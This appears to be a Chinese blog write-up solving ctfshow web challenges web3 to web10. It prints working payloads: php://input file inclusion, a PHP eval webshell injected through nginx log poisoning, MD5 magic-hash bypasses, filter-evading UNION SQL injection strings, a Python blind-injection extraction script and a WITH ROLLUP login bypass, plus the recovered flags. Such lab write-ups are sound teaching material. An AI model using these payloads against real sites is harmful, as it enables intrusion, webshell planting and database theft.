【无标题】

1.web3

 <?php include($_GET['url']);?>

 是文件包含漏洞,get传参url=php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。

 抓包。进行如下修改:

 得到:

 访问ctf_go_go_go页面

 得到flag

2.web4

 有一个提示,日志注入,文件包含,

该环境服务器为Ubuntu,服务为nginx。

nginx的日志文件在/var/log/nginx/access.log和error.log中。

所以构造?url=/var/log/nginx/access.log

 抓包在UA头插入<?php eval($_POST['-7'])?>

刷新页面后日志文件变多了,说明上传成功,日志文件中的代码会被执行,而不会显示。

用蚁剑连接就可以得到flag

 3.web5

<?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>

 代码审计:get传参v1和v2,第一个判断需要v1的全为字母,v2全为数字

第二个判断是v1和v2的MD5值要相等。想到0e开头的MD5值都是一样的,所以可以构造payloud:

v1=QNKCDZO&v2=3908336290

 4.web6

 一个登录界面,尝试SQL注入,当为admin' or 1=1#时报错

   sql inject error。可能对注入进行了过滤,尝试过后发现过滤了空格,用/**/绕过

构造:admin'/**/or/**/1=1#

 登录成功。测试字段长度,构造:

admin'/**/union/**/select/**/1,2,3#.此时登录成功

admin'/**/union/**/select/**/1,2,3,4#时登录失败,说明有三个字段

 先查数据库名字。构造:admin'/**/union/**/select/**/1,database(),3#

 数据库名是web2

查询该数据库的表。构造:

admin'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#

admin'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

可以从web2查,也可以是database()

 可以看到有两个表flag和user。查flag表的字段,也就是列。

构造:admin'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

列也叫flag,查flag字段的内容,构造

admin'/**/union/**/select/**/1,flag,3/**/from/**/flag#

 最后flag就是:ctfshow{37168328-96eb-4f9d-8881-5353217f8563}

 5.web7

发现id=1,可能存在SQL注入漏洞,测试注入

构造1 or 1=1#

和web6题爆一样的错,可能过滤了空格./**/绕过

构造:1/**/or/**/1=1#

 所有内容都显示出来了,存在SQL注入,判断字段数

构造:1/**/union/**/select/**/1,2,3#.此时正常显示

但是当1/**/union/**/select/**/1,2,3,4#时显示不出来,所以有三个字段

 爆数据库的名字,构造:-1/**/union/**/select/**/1,2,database()#

可以看到数据库名称是web7。爆该数据库的表

构造:

-1/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="web7"#

爆出三个表flag,page,user,查看flag表的字段

构造:

-1/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"#

查看字段flag的内容

构造:

-1/**/union/**/select/**/1,2,flag/**/from/**/flag#

最后得到flag:ctfshow{123261d0-646e-4417-b361-f3efc34269a3}

6.web8

 这题和前面的都差不多,但是过滤了更多的内容

并且过滤了空格,双引号,而且还是布尔盲注

当正确的时候都查询出来,错误的时候返回sql inject error

 用二分法写脚本

import requests

url = "http://40c8f88b-4215-4470-95e7-94ea74c749f9.challenge.ctf.show/index.php?id=-1"
flag = ""

for num in range(1, 60):
    l = 33
    r = 130
    mid = (l + r) >> 1
    while l < r:
        # 数据库:web8
        # sql = "ascii(substr((select/**/database())/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
        # 表:flag,page,user
        # sql = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
        # 列:flag
        # sql = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167)/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
        # ctfshow{35a2adce-c01d-49ab-891f-b0f2950abb0e}
        sql = "ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/{}/**/for/**/1))>{}".format(num, mid)

        payload = url + "/**/||/**/" + sql

        # print(payload)

        res = requests.get(payload)

        if 'If' in res.text:
            l = mid + 1
        else:
            r = mid
        mid = (l + r) >> 1
    if chr(mid) == " ":
        break
    flag += chr(mid)
    print(flag)

输出为:

 7.web9

还是一个登录框,扫描一下目录后发现有robots.txt文件

访问

再访问

是源代码,涉及到MD5的绕过,有一个特殊的字符串ffifdyop。万能密码,可以绕过此类MD5

登录成功

8.web10

结合上一题的index.phps找到源代码

<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>

过滤了:"/(select|from|where|join|sleep|and|\s|union|,)/i";而且$password==$row['password']

构造payload:username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

 源自:https://blog.csdn.net/miuzzx/article/details/104351624

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值